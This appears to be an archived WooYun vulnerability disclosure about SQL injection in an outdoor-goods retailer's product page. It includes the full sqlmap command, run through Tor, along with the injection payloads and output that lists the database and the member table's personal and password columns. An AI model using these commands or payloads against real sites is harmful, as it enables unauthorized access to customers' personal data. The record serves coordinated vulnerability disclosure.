乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-10: 细节已通知厂商并且等待厂商处理中 2015-12-14: 厂商已经确认,细节仅向厂商公开 2015-12-24: 细节向核心白帽子及相关领域专家公开 2016-01-03: 细节向普通白帽子公开 2016-01-13: 细节向实习白帽子公开 2016-01-25: 细节向公众公开
某戶外休閒用品有限公司SQL注入(影响上千用户)
$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUS --union-char=N -u "**.**.**.**/products.php?master_sn=27.." --is-dba --current-db --dbs---Parameter: master_sn (GET) Type: boolean-based blind Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) Payload: master_sn=27.. AND MAKE_SET(2760=2760,3553) Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: master_sn=-2395 OR 1 GROUP BY CONCAT(0x716a716271,(SELECT (CASE WHEN (4821=4821) THEN 1 ELSE 0 END)),0x7170707071,FLOOR(RAND(0)*2)) HAVING MIN(0)#---web application technology: Apacheback-end DBMS: MySQL 5current database: 'lifeoutdoors'current user is DBA: Falseavailable databases [2]:[*] information_schema[*] lifeoutdoorsDatabase: lifeoutdoors+---------------------+---------+| Table | Entries |+---------------------+---------+| product_tb | 1086 || member_tb | 994 | ===> 上千用户| product_tb_bak | 416 || order_goods_tb | 256 || order_detail_tb | 121 || order_tb | 121 || order_serial_tb | 119 |<.....>Database: lifeoutdoorsTable: member_tb[15 columns]+--------------------+--------------+| Column | Type |+--------------------+--------------+| member_address | varchar(100) | =====> 地址| member_birth_day | varchar(10) || member_birth_month | varchar(10) || member_birth_year | varchar(10) || member_email | varchar(100) | =====> 电邮| member_id | varchar(100) | =====> 也许是身分证| member_mobile | varchar(100) | =====> 电话| member_name | varchar(100) || member_nickname | varchar(100) || member_passwd | varchar(100) | =====> 密码| member_send_mail | varchar(10) || member_sex | char(1) || member_sn | int(5) || member_tel | varchar(100) || member_used | char(1) |+--------------------+--------------+
过滤
危害等级:高
漏洞Rank:17
确认时间:2015-12-14 16:16
感謝通報
暂无